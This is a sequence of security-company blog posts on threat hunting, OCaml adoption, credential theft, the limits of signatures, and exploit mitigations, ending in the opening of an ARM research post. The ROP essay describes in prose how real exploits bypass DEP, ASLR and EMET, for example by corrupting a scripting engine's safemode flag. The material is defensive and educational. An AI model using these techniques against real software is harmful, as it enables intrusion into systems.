We need to make a change. Rather than relying on imperfect prevention techniques, or waiting for a breach to happen and then reacting to it, defenders need to “turn the map around” and hunt proactively for the attackers in order to root out adversaries before they have a chance to do real damage. This is the next frontier of cybersecurity.

This failure is costing all of us. A 2015 cyber crime study found that hacks cost the average American firm $15.4 million a year, double the global average. Another report found that cyber attacks are costing businesses around the world anywhere from $400 to $500 billion every year. And that’s translating into job losses as well. A 2013 study estimated that malicious cyber activities are resulting in hundreds of thousands of lost jobs in America each year.

More broadly, the steady drumbeat of successful attacks threatens, at its worst, to undermine popular confidence in online commerce and communication.

And yet, very little of substance has changed. The industry remains locked in a talent imbalance where creative people flock to become hackers at least partly because defense too often seems like a check-the-box compliance exercise; it has always been more fun to be a pirate than it is to join the Coast Guard. Additionally, law and government policy evolve much more slowly than do the technology and social norms that characterize these fast-moving issues. Finally, although companies and government agencies have increased their security spending looking for solutions to combat advanced threats, there is still too much focus on the same old perimeter defenses to keep adversaries out, and on the legacy technique of looking for and blocking known threats when they inevitably bypass the porous perimeter.

The industry is at a crossroads, but it keeps moving in the wrong direction and the vast majority of cybersecurity spending is still going to prevention and perimeter security. Prevention is necessary, but it’s not sufficient and it certainly doesn’t justify 90 cents of every security dollar.

Perimeters are gone, burned to the ground by the proliferation of mobile devices and the spreading business imperative to move to cloud services. Within the perimeter, searching for known malware is like driving your car while looking at the rear-view mirror—it has no predictive quality and will never see the new bad thing for the first time. These are passive defenses against active adversaries, and they aren’t working.

We need to flip the script on traditional cybersecurity. US Air Force strategist Colonel John Boyd imprinted his mantra on a whole generation of military thinkers: “People, ideas, hardware—in that order!” Applying Boyd’s dictum to cybersecurity suggests several potential changes in our approach to attracting and maximizing talent, in how we articulate the ideas undergirding government policy, and in how we use our technology.

We need to focus on building diverse teams of people. Diversity is the wellspring of innovation. And I mean diversity in every sense—gender, background, perspective, skill set. The average infantryman in Iraq in 2003 was surrounded by other infantrymen who looked like him, had been trained like him, and probably thought like him. By 2008, that same infantryman was surrounded by a much deeper talent bench that included women (who can do things, especially in Muslim societies, that men cannot do), intelligence analysts, and other government organizations.

In cybersecurity, this will require a shift in the way we portray the industry. Instead of the traditional “hacker with a hoodie,” companies must actively support diversity. Defeating the next-generation of threats is more likely if we have social scientists, data scientists, political scientists, and graphic designers working together with military and intelligence veterans, software engineers, researchers, and white hat hackers.

With respect to ideas, we need to turn the tables on traditional defensive thinking. I led Marine combat units during the earliest days of the Afghanistan and Iraq campaigns, and we never went out on a mission without literally turning the map around and thinking through everything from the point of view of our enemy. It was essential to staying alive. The same needs to happen now. We need to bring an offensive mindset to enterprise defense. What Lawrence of Arabia famously said about fighting insurgents applies equally well to prevailing over digital adversaries: it’s messy and slow, like eating soup with a knife—but it can be done.

And finally, technology. One of the hallmarks of successful hunting is stealth. Attackers work hard to be stealthy—it’s in their DNA. An invisible attacker is a successful attacker. We need to bring these same stealth concepts to defense. If a defensive tactic is seen, then it can be bypassed. But what does stealth really mean as a defender? During a breach, if an attacker sees the defenses, he can simply turn them off. If the attacker sees you, the battle is much more difficult. Some security companies have even been naïve enough to say publicly that when an attacker saw them on the network, the attacker ran away. If you believe that, then you’ve never read Sun Tzu, and you’ve certainly never been part of a good offense. Adversaries will avoid surfaces and flow to gaps, like water flowing downhill.

 An invisible attacker is a successful attacker. We need to bring these same stealth concepts to defense. Some worry that such an aggressive approach to defense and security may break laws. It does not. To be clear, proactive hunting is not “hacking back” or illegally “shooting back” at cyber adversaries beyond the infrastructure you own. Hunting is essential, while hacking back is illegal.

Even more important than its illegality, hacking back is usually just stupid, the equivalent of bringing a knife to a gunfight. Even if you’re a big bank spending a quarter-billion dollars on security, do you really want to take on the Chinese PLA or the Russian FSB?

Instead, going on the offense and hunting for adversaries entails surveying your assets stealthily and continuously. Think of it this way: If an intruder broke into your home, you wouldn’t let him hang around in the shadows until he’s ready to break into your safe and steal all your valuables. You’d go around your home looking for him and stop him before he’s had a chance to do any damage. This is common sense in the real world, but we’re too often not applying this simple principle to our actions in the digital world. And what’s worse, unlike your home where there may or may not be a single intruder, in the cyber world, there are thousands of intruders and the odds are better than 3 in 4 that they’re already in your system.

But how do we know this kind of offensive cybersecurity actually works? Because cyber offense is structurally dominant: A dollar of offense beats a dollar of defense nearly every time. The defender has to be right constantly, but the attacker only has to be right once. Proactive hunting levels the playing field and allows defenders to share in some of the structural advantages of offense. The government has already figured this out. Across the Department of Defense, the intelligence community, and other forward-leaning agencies, this proactive hunting is already happening, and it’s becoming more widespread. Enterprises need to embrace the same mindset.

In the end, I am an optimist. Despite all the challenges I’ve laid out here, I believe fundamentally that the forces of order will prevail. Society is too dependent on a trusted internet for commerce, for communication, for education, for entertainment to allow it to fall below a basic threshold of trust. The arrayed forces of entrepreneurs, investors, engineers, data scientists, policymakers, academics, intelligence officials and others will carry the day, even if—as with fighting insurgents—it is messy and slow, like eating soup with a knife.

This piece originally appeared in Quartz 

For many internal prototypes at Endgame, we adopt an agile development process to rapidly build proof-of-concept services which can then be deployed and reiterated upon to quickly address bugs and introduce new features. Our R&D and DevOps groups maintain and improve dozens of interconnected services, from training machine learning models on malware samples to processing and analyzing domain information. However, many DevOps and R&D requirements are iterative and fluid, and it can be difficult to write services that are fast, safe, and extensible enough to address these changing needs.

For many of our previous services, we utilized Python for its quick development turnaround and rich library ecosystem. However, we often encounter issues that arise from the aforementioned “quick” development, such as occasional bugs arising from type errors, or poor error handling causing service downtime. Hastily written services can also be difficult to refactor as their structure may become convoluted over time.

While many in our DevOps and R&D teams have Python backgrounds and continue to use it for many tasks, we have recently begun to use functional programming in OCaml to solve some of the issues that arise with rapid Python development. OCaml is a compiled, strongly typed programming language that emphasizes safety and expressiveness. It boasts a mature ecosystem of tools and libraries, and has been most used in industries which require a high degree of confidence in bug-free, performant code.  While it is considered a multi-paradigm language, OCaml strongly emphasizes a functional programming style, which provides many of the benefits covered in this post. With OCaml, we have improved our ability to adapt to changing requirements, and trust that the software we write is more stable and correct.

The freedom of programming in a dynamically typed language (Image source)

Python, we still want you around...

Many teams at Endgame still use Python for the majority of their development, and it has continued to provide great value for quickly getting services up-and-running. For many tasks in R&D, however, we needed a language that would allow us to refactor more easily, provide greater runtime safety, and catch more errors at compile time. Python did not quite meet our development, safety, and refactoring needs. We found that:

• Python is fast to prototype/script in, but handling large amounts of data can sometimes expose issues that crop up due to dynamic typing.
• Handling JSON in particular can allow for runtime errors as free-form input/mangled data cause type unsafe functions to fail unexpectedly.
• Python is relatively slow in runtime performance due to its interpreted nature.
• Packaging and deploying Python programs requires also deploying a Python interpreter, which itself requires many additional dependencies.
• Codebases written hastily in imperative languages can often devolve into ball-of-mud refactoring nightmares, especially with reliance on deeply nested polymorphic inheritance or proliferation of global state. Python often does little to encourage separation of external IO concerns from internal program logic. Without regular attention given to design and style, shared mutable variables can cause baffling behavior in large programs.

....But OCaml has what we need!

When an Endgamer with extensive previous functional programming experience suggested that our workflow could benefit from the balance of speed and safety that OCaml provides, we found that many of its features addressed our issues with Python.  We had several requirements for a new language if we were going to augment Python for DevOps and R&D:

Requirement: A language in which we could write a service quickly (Terseness/Expressiveness).

• OCaml's syntax is extremely concise, while allowing for high-level programming features. This includes:
  • A type system including algebraic types and variants.
  • Higher-order functions, partial function application, and currying
  • Option types, which allow functions to require the caller to handle potential errors/lack of response.
  • A powerful pattern-matching system.

Requirement: A language with fast performance.

• OCaml's performance, when compiled natively, often is very close to that of C/C++.

Requirement: A language that is easy to refactor. Due to the agile requirements process of R&D, we needed to be able to redesign service components easily.

• Functional languages can help developers avoid many program design pitfalls by dissuading or preventing proliferation of global state. 
• Expression-based languages allow for extremely easy reorganization of code-segments.

Requirement: A language with more runtime safety guarantees.

• This allows developers to write safer code, and safer libraries for reuse.
• OCaml's type system allows for complex and expressive hierarchies of types checked by Hindley-Milner type inference.

Requirement: A mature language with library support for common use cases, as well as C Foreign Function Interface (FFI) bindings to extend external code as needed.

• Much of OCaml’s library base is mature and has been stable and heavily tested for years.
• OCaml’s Ctypes library allows for extremely simple binding to external C/C++ libraries.

Recently, many other people have had similar conclusions about OCaml’s benefits for systems’ programming, and have written posts about their experiences with the language:

https://tech.esper.com/2014/07/15/why-we-use-ocaml/

http://roscidus.com/blog/blog/2014/02/13/ocaml-what-you-gain/

http://www2.lib.uchicago.edu/keith/ocaml-class/why.html

So far, OCaml has made it much easier to write fast, stable, and safe services that are easy to return to and refactor later.  In the coming months, we will be publishing a series of technical blog posts describing our usage of OCaml at Endgame, as well as a handful of libraries and frameworks we have developed to support internal development.

Stay tuned!

Online credential theft has exploded in the past several years.  This month alone, numerous breaches have affected millions of users of high profile websites such as LinkedIn, MySpace, vk.com, and Tumblr. In these cases, criminals are not seeking corporate secrets or nuclear launch codes, but rather usernames and passwords for online accounts of everyday computer users.

Credential theft can come in many different flavors with varying levels of impact, from attacks targeting a single or small set of users, to attacks compromising credentials from within an enterprise, to attacks compromising the credentials of millions of users of an online service. While criminals certainly steal usernames and passwords for corporate accounts for extortion and corporate espionage, this article focuses on the compromise of personal  accounts in both targeted mass data breaches. This includes why criminals steal usernames and passwords, and the most common tactics criminals use to steal usernames and passwords. It concludes with some basic steps you can take to reduce your risk of being targeted, as well as how to respond once you’ve been notified of a password breach.

Why do criminals steal usernames and passwords?

The short answer is: for profit, eventually.

The long answer is: it depends.

Hackers steal usernames and passwords from websites for a handful of reasons, but most of them lead to cash eventually. Sometimes criminals steal a database of hundreds of thousands of users from a website and sell it wholesale directly on black market web forums. The larger the database, the more money they can charge for it. Sometimes criminals will use the usernames and passwords to log in to people’s email accounts and send spam email for dubious scam products, making money from referrals and product link-clicks. In each of the cases, the methods of monetization are “quantifiably linear”. The amount of money the criminal makes is strictly tied to the amount of usernames and passwords they steal. The value of the individual accounts is not a consideration.

The next reason criminals steal credentials is as a means to gain access to another, more valuable asset. Usernames and passwords by themselves provide very little value, but the assets that those credentials protect is oftentimes far more valuable. For example, ten thousand valid Gmail usernames and passwords may be worth several hundred or even thousands of dollars on underground criminal forums, but the ability to reset social media and banking passwords, access cell phone provider accounts, read confidential employer information, and even reset other email accounts provides far more value to an attacker.

Criminals steal credentials ultimately to make money or gain access to a more valuable piece of information. It is this monetization of credentials, and the subsequent growth of underground markets, that drives criminals to steal usernames and passwords.

How do hackers steal usernames and passwords?

There are two major categories of how attackers steal usernames and passwords: attacking the users directly and attacking the websites people use.

Attacking Users Directly

These techniques are effective in stealing usernames and passwords from relatively small numbers of people. If an attacker values the account information of a particular targeted person, these techniques also apply.  Some of these methods are obvious to a knowledgeable user and thus easier to protect against. However, as determination and intrusiveness escalates, these methods can be more difficult to stop.  While credentials for many victims of this type of attack can be packaged into large numbers for sale or use, this type of activity does not usually make the headlines.

Some criminals use a technique called  “phishing.” This process usually looks something like this:

1. Hacker finds a large amount of Bank of Somewhere customers
2. Hacker sends a fake login page to legitimate Bank of Somewhere customers hosted on a domain that looks simiar to "bankofsomewhere.com"
3. Some small percentage of the victims unwittingly enter their usernames and passwords into the website that the hacker controls
4. Hacker logs in to stolen accounts, transfer funds to an account they control

Some criminals use even broader phishing attacks to steal social media accounts: 

1. Hacker sends fake Facebook login pages to as many email accounts as possible stating that there is a problem with their account that needs to be fixed
2. Some victims enter their Facebook usernames and passwords
3. Hacker uses access to their Facebook accounts to promote spam and adware-laden websites
4. Hacker generates ad revenue from fake clicks and page visits

Sometimes criminals will want the credentials of a known high-value individual.  More care goes into customization and believability for these cases.  The attacker may go as far as attempting to impersonate the individual in tech support calls, hack the actual computer used by the high-value target to collect credentials, or other invasive techniques.  It can become difficult to defend against a determined attack, but fortunately, most of us aren’t of this level of interest to attackers and basic online hygiene principles listed below will provide some protection.  

Attacking a Website Directly

If a criminal wants to steal millions of usernames and passwords and doesn’t care who gets scooped up, he targets a website directly. The more credentials they steal, the more money they can get selling them or monetizing them in some other way. This almost always comes in the form of a criminal exploiting a vulnerability in the website itself. The criminal uses one of any number of tactics to gain access to the server supporting the website and steals the credentials directly from the database.  The credentials are usually stored as a large set of username and “hashed” password pairs.  A password “hash” simply refers to a more secure method of storing a password where a mathematical representation of your password is stored in lieu of the plaintext password.

Once the criminal steals the database, they often have to recover the passwords from the “hashed” form back to the actual plaintext password, allowing them to check it for likely reuse on other websites. This is accomplished by “brute forcing” the password hashes to recover anything that is computationally guessable (meaning, a password simple enough to be guessed by a wordlist or sequence of iterating characters, like AAAAA, AAAAB, AAAAC, and so on). This last factor is what highlights the importance of strong, complex passwords versus simple, easily-guessable passwords. If your password is a simple dictionary word, for example “baseball”, then your password will almost certainly be very simple to recover from it’s hashed form. Conversely, if your password is long and complex then you are better protected from a large website breach, as it would be computationally infeasible for an attacker to brute force a sufficiently strong password.

An example of this is as follows:

1. Hacker targets a popular social media website called MyBook
2. Hacker finds a vulnerability or misconfiguration in the server hosting the website and uses it to gain access to the website.
3. Hacker locates the database of all registered users and creates a backup
4. Hacker downloads the database backup he created of users and hashed passwords
5. Hacker runs the hashed passwords though a password cracker for a week and recovers 50% of the total passwords
6. Hacker sells the usernames and recovered passwords to someone on an underground hacking forum
7. The person that purchased the database uses an automated program that checks all of the usernames and passwords against other websites for password reuse and gains access to thousands of email, social media, and online banking accounts

How do people protect themselves?

There are a several easy steps you can take to minimize the damage personally inflicted upon you by a password breach.

Use unique passwords on different websites

Imagine having the same key for your house, car, office, and gym locker. While it would be very convenient, it would be a nightmare if you lost it (or worse, if somebody stole it). Criminals gain access to multiple accounts on the Internet because they know that remembering passwords is hard and nobody likes to do it. By having unique passwords on different websites you are reducing the risk of a criminal gaining access to additional accounts as a result of stealing your password.

Use complex passwords

Complex passwords are essential to make them difficult to guess and difficult to recover from a compromised password hash.   I recommend using passwords that are at least 12 characters long that include a mix of letters, numbers, and symbols.  You should avoid using words that would be present in a dictionary to make password guessing and brute-forcing more difficult.  

Use a password manager

Password managers are programs that run on your computer, in your web browser, or directly on your smartphone. Instead of thinking of a password every time you register on a website, the password manager generates a long, complex, random password that you don’t have to remember. Then, whenever you want to log back into that website, you visit your password manager and copy and paste the saved password directly into the website.  LastPass and 1Password are two examples of popular password managers.  It is also important to note that a password manager inherently accomplishes the previous two recommendations.

Use multi-factor authentication on all high value accounts

Multi-factor authentication is a security control that adds an additional layer of security beyond username and password. Multi-factor authentication can come in many different forms, but the most common are a smart phone app, hardware token, or text message codes. Once you’ve enabled multi-factor authentication, you’ll enter your username and password on a website and it will ask you for a third item (a number from an app or a text message).

This ensures that the person attempting to log into the account with your username and password also has your smart phone, and thus, is more likely actually you. Even if a criminal successfully steals your online banking username and password through a targeted email attack or from a third-party website breach, they will not be able to log into your account because they do not have access to your smart phone. The best part is that most major banking, social media, and email providers offer and encourage multi-factor authentication free of charge.

Conclusion

Unfortunately, password breaches and credential theft aren’t going anywhere soon. They are an unwelcome and inconvenient fact of life in the modern Internet era. As long as credential theft remains relatively easy, and the market continues to offer large financial rewards, your usernames and passwords will continue to be highly sought.   The good news is that it’s pretty straightforward to protect yourself from a large majority of the real threats to average computer users. All of the recommended protections are low cost and take no more than an hour to set up. By following these basic steps you can significantly reduce your risk exposure to any credential breach. Now go forth, secure yourself, and use the Internet with confidence.

Cyber intrusions are continuing unabated with no end in sight. Ransomware is on the rise, massive data breaches are announced with such regularity that the public is becoming numb to their significance, and APTs continue to burrow deep into networks going undetected for months or even years.  At the same time, most organizations across all industries are increasing their cyber security budgets but usually fail to produce a meaningful increase in defensive effectiveness.

In short, the adversary continues to win.  Fortunately, most security professionals and vendors are asking what must be done differently to increase defensive effectiveness.   We often hear that enhanced signature sharing is the primary solution.   From the other end, we hear that signatures are dead.  The truth lies in between.  

Signatures are effective in detecting a portion of what is already known and for hunting within your enterprise to understand the extent of a known intrusion.  However, due to their brittleness and increasing specificity to only the targeted victim, signatures are an utterly insufficient foundation for the caliber of detection and prevention capability needed today to prevent compromise or detect and remediate compromise as rapidly as possible.  

We need to do more.  We need to add additional layers of detection around signature and IOC search, looking for indications of attacker techniques at low levels in the system while simultaneously hunting for higher-order patterns which could indicate maliciousness across large sets of monitored hosts.  Moving from solely signature-based defenses to also including attacker techniques and patterns is the best way to maximize the defender’s chance of success in minimizing damage and loss.

Why aren’t signatures enough?

For the purpose of this post, we use the terms signature and Indicator of Compromise (IOC) interchangeably.  A good signature is a feature that, with a low false positive rate, uniquely corresponds to a known attack campaign or piece of malware.  We can group these in two buckets: network signatures and endpoint signatures.

On the network

Network signatures usually come in the form of blacklisted domains, IP addresses, URI structure, or patterns in command and control or other communications.  Two primary factors have massively reduced the effectiveness of network IOCs in recent years: attack infrastructure diversity and encryption.

First, adversaries know their infrastructure is a point of vulnerability in their campaigns and actively seek to diversify and blend in as much as possible.  The ubiquity of cloud services has been a major enabler for adversaries, allowing them to rapidly stand up and tear down infrastructure for low cost.  Others use legitimate cloud services for data exfiltration or command and control, bypassing a need for a dedicated C2 infrastructure.  Adversaries also engage compromised, unwitting nodes as disposable hop points.  Trying to keep up with every hop point to defend your network is not a winning strategy.

Adversaries would in the past often use the same infrastructure across many victims for long periods of time.  This is much less common today.  High caliber adversaries will usually use infrastructure across many victims for only very short-lived campaigns, sometimes going so far as to use entirely unique infrastructure for all phases of an operation targeting a specific victim.  Today, signatures may only be useful retrospectively to identify whether a newly discovered campaign (which may have taken place weeks or months ago) targeted you.  Signatures may actually prompt you to waste resources searching for something an adversary never would have used to target you in the first place.

Next, encryption has made it far more difficult to track patterns on the wire.  Network-level pattern matching capabilities such as Snort or Bro signatures used to be relatively effective in detecting intrusions in your network.  Malware authors need to design structured command and control communications to organize victim machines and direct victims to take certain actions.  Analysts can often fingerprint these communications structures and detect them on the wire, even if unique or unknown infrastructure is in use.  However, we are increasingly seeing malware communicate within end-to-end encrypted tunnels, usually using universal protocols such as SSL or TLS.  When communications are encrypted, unless SSL proxying or other intrusive traffic inspection technology is put into place these patterns are not visible to network security appliances applying these signatures.  Thus, the signatures for the malicious malware communication patterns will not fire and the intrusion will go unnoticed.

On the Endpoint

Evidence of an intrusion on workstations and servers can be found in numerous locations, including malware hashes, filenames, registry entries, and much more.  As with network infrastructure, in the past, malware was regularly reused across many victims for long periods of times without diversifying these artifacts.  Adversaries with any level of sophistication no longer make these mistakes.  They have learned that it is important to avoid a detrimental (from their point of view) global impact from a single detection.  Defenders need to understand this and pursue intrusions accordingly.  

Malware is often polymorphic, changing itself to have a unique hash every time and automatically diversifying filenames, persistence mechanisms, and other features which can be signatured.  In these cases, which are increasingly common, an artifact found in a single victim will not be effective as a global IOC.  Strategies that focus on patterns within malicious binaries themselves (Yara signatures, for example) can at times be relatively effective in detecting new tools from a given known malware family, but these can be difficult to use across an enterprise and are very prone to false positives.

In addition, some adversaries are moving entirely away from malware as their default way of accessing and interacting a victim.  Legitimate credentials and administrative tools like Powershell are often all that is needed to take desired actions on a network.  Malware is often only used for persistence and sometimes not used at all.  In these cases, the adversary does not leave behind a significant footprint to be used as the basis of IOCs.  IOCs will be entirely ineffective and the problem turns into distinguishing malicious usage of tools and credentials from normal operations.

Do we still need signatures?

For the reasons described above, signatures are not a sufficient foundation for detection and prevention in your network.  That said, they are still valuable.  They are useful and effective in catching unsophisticated tools and actors.  They can also help you determine if a given attack campaign has touched your systems.

Search functionality is very important to locate known IOCs on your systems and in your traffic.  Signature search is also necessary to determine the extent of a given compromise in your environment.  For example, if you find evidence that a certain registry key is being used for persistence on a compromised host, you need a way to look across your other systems to look for that same key.  IOCs of this sort are useful much more often inside your network than they are to other possible victims of the same adversary.  IOC searching is a part of threat hunting, but it’s not enough.

So we need more.  What should we do?

We need technologies to detect threats without relying on signatures.  This takes two main forms: looking deep in the operating system for indications of malicious activity and hunting for suspicious patterns across key data from many systems.  Basically, we must look a layer below and a layer above IOC search.

There are a few well established frameworks for understanding the sequencing and methodologies exhibited time and time again in cyber intrusions, such as Lockheed Martin’s Kill Chain and Mitre’s ATT&CK framework.  While adversaries constantly change and adapt malware, they actually use the same techniques over and over – process injection, credential dumping, token stealing, host enumeration, and lateral movement being a few examples of many.  An attacker can build a nearly infinite number of tools to do these things generating different IOCs, but they must go through the same choke points in the OS to execute these actions on the system.  We can identify these key chokepoints, develop ways to detect and optionally automatically block the adversary, and alert the cyber security operations team that a malicious event has taken place.  Effective tools can prevent malicious activity at the right chokepoints in real-time and alert the security team to a likely intrusion -  all without signatures.  

We also must look for suspicious activity and patterns across our endpoints.  This is the core of effective threat hunting, improving from simply finding what’s known to empowering security teams to find unknown and unique intrusions.  This is possible because adversaries leave a trail which can be followed.  Adversaries must operate on systems.  They must execute code. They usually communicate on the network. They often read, create, or modify files.  They do much more.  All of these breadcrumbs can be followed by an astute hunter.  The hunter can look at process activity information, network traffic, domain lookups, previously executed commands, persistence locations, and in other key areas.  Suspicious activity can be flagged, investigated, and detections can occur.  In this way, IOC search becomes a subset of hunting.

Hunting manually can be very difficult and will not scale.  However, by combining hunt methodologies with automation, analytics, and machine learning, hunt operations can be scaled and optimized.  Detections of unknown intrusions can be surfaced at speed and scale at this layer above traditional IOC search and then acted upon by the security team.    

Conclusion

We still need to use signatures.  It is important to have a capability to search for artifacts associated with known campaigns, to combat low caliber adversaries, and to pivot through your network once a unique adversary is discovered via other means.  

Signatures are not enough to form the detection and prevention solution needed to defend against modern threats.  They are neither effective on the host nor at the network level to detect advanced adversaries.  Additional detection capabilities which look at low level chokepoints in the operating system are necessary, as are simultaneously executed hunt operations across systems for indications of suspicious or malicious activity.  By combining hunting with automation, analytics, and machine learning, we can produce high quality detections which can be used by security operations teams in the same fashion as detections from chokepoint monitoring and signature monitoring.  

Combining these three layers - low-level attacker techniques detections, signature-based detections, and detections from automated hunts - maximizes the chances of stopping adversaries before they succeed.

Too often the defense community makes the mistake of focusing on the what, without truly understanding the why. This mindset often leads to the development of technologies that have limited effectiveness, and an even shorter shelf life. Time and again we’ve seen newly developed software protections bypassed shortly after their release.  This is especially true with exploit mitigations, and Return-Oriented Programming (ROP) in particular. In short, current defenses target obsolete offensive techniques.

The offensive community has known something for a long time that I would like to share with you. ROP is dying and ROP exploit mitigations aren’t as effective as you might think.

A Brief History of ROP

First, let us take a step back and look at what ROP is, and why many third party security products have ROP defenses. Over a decade ago, processor manufacturers began to add hardware enforcement of page level permissions. This support enabled operating systems to restrict code from executing anywhere in memory, a common exploit technique. Microsoft implemented this restriction in Windows XP Service Pack 2, and named it Data Execution Prevention, or DEP.

As Microsoft Windows and other operating systems introduced these countermeasures, researchers were quick to devise creative ways to bypass them. In his seminal paper, Sebastian Krahmer lays out what would eventually be named Return-Oriented Programming. Krahmer’s paper was published on September 28th 2005, shortly after DEP and similar mitigations went mainstream.

Since its publication, dozens of research papers, conference presentations, and exploits have used some form of Krahmer’s idea of reusing legitimate code to circumvent DEP, and ROP became enemy number one.

Techniques for building ROP “gadgets” have varied over the last ten years, but the core purpose remains. Build a stack of legitimate code locations ending in a return, that when executed gives the attacker the ability to execute their arbitrary payload.

After a decade of study, defenders have come to understand key artifacts to detect and prevent these gadgets from changing permissions or executing code. This has led to add-on security solutions like Microsoft’s own “Enhanced Mitigation Experience Toolkit”, or EMET. But while security vendors were working on the ROP problem, attackers were overcoming a bigger issue, ASLR.

Address Space Layout Randomization (ALSR) is a defensive method for randomly assigning virtual addresses to code and data in a running program. ASLR aims to prevent an attacker from using previous knowledge of the address space to gain an advantage and execute malicious code. This has proven extremely effective in “raising the bar” of exploitation and is one of the most significant research challenges when building weaponized exploits.

Microsoft introduced ASLR in Windows Vista, but did not comprehensively implement it until sometime in 2011, when they recompiled all libraries to take advantage of it. While ASLR has proven to be effective, it must be fully enforced on every piece of data in a program. Because of this, the system falls apart if one piece of data is unprotected. Until fairly recently exploit writers have been abusing this loophole to bypass the mitigation.

As ASLR has improved through “full” ASLR, attackers have needed to read memory in their exploit code to adequately determine what data to target for a successful exploit. This step in exploit development is one of the most time consuming, but also the most powerful, because in many cases not only can you craft an exploit to read the target address space and bypass ASLR, you can also write into the target address space.

In short, the ability to read and write memory makes ROP unnecessary and is the reason Return-Oriented Programming is dying.

ROP is Dying

In 2014 Yang Yu presented “Write Once, Pwn Anywhere” at Blackhat USA. This presentation is a great demonstration of using a read and write “primitive” to make a small change that has a significant impact. In his presentation and proof-of-concept, Yu corrupts the Jscript.dll “safemode” flag stored in memory to enable the use of the WScript.Shell COM method. This method can be used to execute shell commands and is normally protected in Internet Explorer for obvious reasons. However, by changing the “safemode” value in memory, an attacker can bypass this restriction and execute arbitrary commands, without needing Return-Oriented Programming techniques.

Shortly after the presentation, researchers used Yu’s idea to exploit a VBScript vulnerability (CVE-2014-6332). Again, the exploit writer overcame the difficult problem of getting arbitrary memory read and write access, then used that to gain full-system access without tripping any software mitigations such as EMET.

Earlier this year, a component of the Angler exploit kit targeted a vulnerability in Silverlight (CVE-2016-0034) using a similar approach. First, trigger a vulnerability that gives programmatic read and write of virtual memory, and then overwrite critical data to gain code execution. In this exploit the writers were very clever. Instead of flipping a bit, like the previous examples, they created legitimate code in executable memory using Silverlight’s JIT engine. To gain code execution without ROP they overwrote their legitimate code page with their payload, absolving themselves of DEP restrictions, and EMET was none the wiser.

Finally, let’s look at a trend in several popular exploit kits that demonstrate the increased usage of “ROP-less” techniques, like previous examples, to exploit software. My colleague Matt Spisak astutely linked the change after CVE-2015-5119 to a technique originally developed by researcher Vitaly Toropov. Toropov’s technique, like the Silverlight one before, uses a clever method to bypass DEP without needing ROP. As the technique became public through the HackingTeam leak, the exploit kit authors quickly updated their exploits, and have completely bypassed EMET ever since.

These examples demonstrate some of the ways new exploit techniques are less reliant on Return-Oriented Programming. Many more techniques exist publicly, and as the HackingTeam leak proved, private and therefore unknown techniques exist, too. If you enjoy the art of exploitation, I strongly recommend the previous articles that dive into each technique in great detail. 

The exploit kit graph above illustrates really well the declining utility of ROP. It also perfectly demonstrates the difficulty in ROP-based exploit mitigations. A single change in exploit technique trends can have a dramatic and long lasting effect.

Towards Earlier Detection

As attackers have moved away from ROP and towards a more advanced, and frankly harder to detect, technique for executing payloads, what can we do?

Recently, vendors such as Microsoft have recognized that ROP defenses are not enough. In Visual Studio 2015 Microsoft introduced Control Flow Guard (CFG). This new compiler based mitigation attempts to eliminate the ability to exploit certain classes of vulnerabilities. Unfortunately, to utilize CFG, code must be recompiled with the latest compiler and options. Alternatively, we have introduced a similar approach in the latest version of our product that works on any software without needing to be recompiled. So why have Microsoft and Endgame invested in locking down control-flow?

Over the years the industry has come to the conclusion that it is impossible to eliminate vulnerabilities. We also know that exploit authors are incredibly creative. The biggest impact we can have on the success of exploits is to limit the opportunity for creative bypasses. To oversimplify, exploits have to trigger a vulnerability, and then “do something”. Anti-exploit solutions need to disrupt this “something” early in the stages of exploitation to maintain an advantage.

To demonstrate, consider the following graphic that illustrates the high-level stages of an exploit.

This progression highlights that real defense must fight in the “Exploitation” stage of the attack. At this point, defenders still have the advantage of preventing successful exploitation. Unfortunately, most exploit prevention products continue to focus on the “Post-Exploitation” stage. By that time, the attacker will almost always win. In Post-Exploitation an attacker typically has the ability to execute some code on the target system, or gain adequate control over the program. This is the case with Return Oriented Programming techniques. By this stage defense has lost. Instead, real defense must focus on fighting in the “Exploitation” stage of the attack. At this point, defenders still have the advantage of preventing successful exploitation and can stop attackers from achieving their objectives.

Endgame’s solution to the problem takes a different approach than most vendors. Like Microsoft, we believe guarding control flow is the first step in building better prevention. However, we want customers to take advantage of the technology without having to recompile their code.

To achieve this we have developed a new concept we’re calling Hardware Assisted Control Flow Integrity, or HA-CFI. This technology utilizes hardware features available in Intel processors to monitor and prevent exploitation in real-time, with manageable overhead. By leveraging hardware features we can detect exploits before they reach the “Post-Exploitation” stage, and provide stronger protections, while defense still has the upper hand.

Conclusion

For the time being, ROP defenses are still providing some protection, especially in commodity and less advanced exploits, or when reading and writing memory may be impossible. However, its death is imminent and something the security community must acknowledge. The community must not be lured into a false sense of security while a large number of successful attacks go unnoticed.

Next generation exploit defense must move to detecting and preventing exploitation patterns in earlier stages of the process to maintain the defensive advantage needed to limit exploit authors’ creativity and effectively block them. At Endgame, we understand the fragility of “Post-Exploitation” preventions. Good exploit mitigations greatly reduce the attackers’ opportunity. If you’d like to hear more, come and see the latest research we are presenting this summer at Blackhat USA titled “Capturing 0day Exploits with PERFectly Placed Hardware Traps”. If you can’t make it to Vegas, I’ll also host a webinar covering this topic on August 17.

This is an exciting time for exploit mitigations as software vendors continue to make important changes that reduce the impact of vulnerabilities and security vendors such as Endgame push the state-of-the-art in third party detection and prevention. While ROP, and defenses against it, may be showing their age, there is still a lot of opportunity for new and effective solutions to the exploit problem.

Last summer, Stagefright became a household name after security researcher Joshua Drake highlighted vulnerabilities in the multimedia engine in Android that goes by the same name. His BlackHat USA talk last August set off a gold rush amongst bug hunters. Android security bulletins continue to be filled with libstagefright and mediaserver vulnerabilities each month, as depicted in the chart below. This high volume of bug fixes in Android is both comforting and alarming.

Vulnerability discovery, disclosures, and patch management remain an integral part of improving the security of platforms such as Android. However, exploit mitigations can also increase the level of difficulty for exploitation by forcing the attacker to adapt their techniques. At Endgame, our Vulnerability Research & Prevention (VR&P) team is actively pursuing both models in order to help defend against exploitation. As an example of the latter approach, this post discusses how the performance monitoring unit (PMU) of certain ARM cores can be utilized to perform system-call monitoring. This hardware-assisted technique adds minimal performance overhead, avoids any requirement for patching the kernel, and offers a unique way to perform integrity checks on system-calls such as for ROP detection. 

Hardware-Assisted Exploit Prevention

Over the past year, our VR&P team has been investigating an emerging area of exploit mitigation – the use of performance counters for hardware-assisted security solutions. Our exciting research on hardware-assisted control-flow integrity on the Intel architecture will be presented later this summer at BlackHat USA 2016. As a mobile security researcher at heart, I became curious about the applicability of our approach to the ARM architecture almost immediately upon starting our x86 research.

